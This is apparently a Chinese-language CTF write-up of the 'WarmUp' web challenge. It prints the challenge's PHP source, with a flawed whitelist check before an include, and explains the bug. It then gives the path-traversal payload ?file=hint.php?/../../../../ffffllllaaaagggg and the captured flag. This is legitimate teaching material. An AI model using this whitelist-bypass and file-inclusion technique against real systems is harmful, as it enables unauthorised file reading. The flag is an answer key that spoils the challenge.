0x01 WarmUp
做法:
查看网页源代码发现注释<!--source.php-->
,于是尝试打开/source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
访问另一个白名单文件/hint.php
,看到flag not here, and flag in ffffllllaaaagggg
,审计代码出现字符截取
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
由于include $_REQUEST['file'];
,PHP解析时,hint.php?被当成一个文件,然后结合../进行目录穿越,目录穿越之后的地址才是include包含的文件地址,造成任意文件包含漏洞,可以查看目录下任意文件了。于是构造?file=hint.php?/../ffffllllaaaagggg
,发现值为空,构造?file=hint.php?/../../../../ffffllllaaaagggg
,穿越4层后得到flag{3ffe90a2-13d7-4e3b-8287-aa9fd723c766}
,估计这也是每个字母重复4次的理由...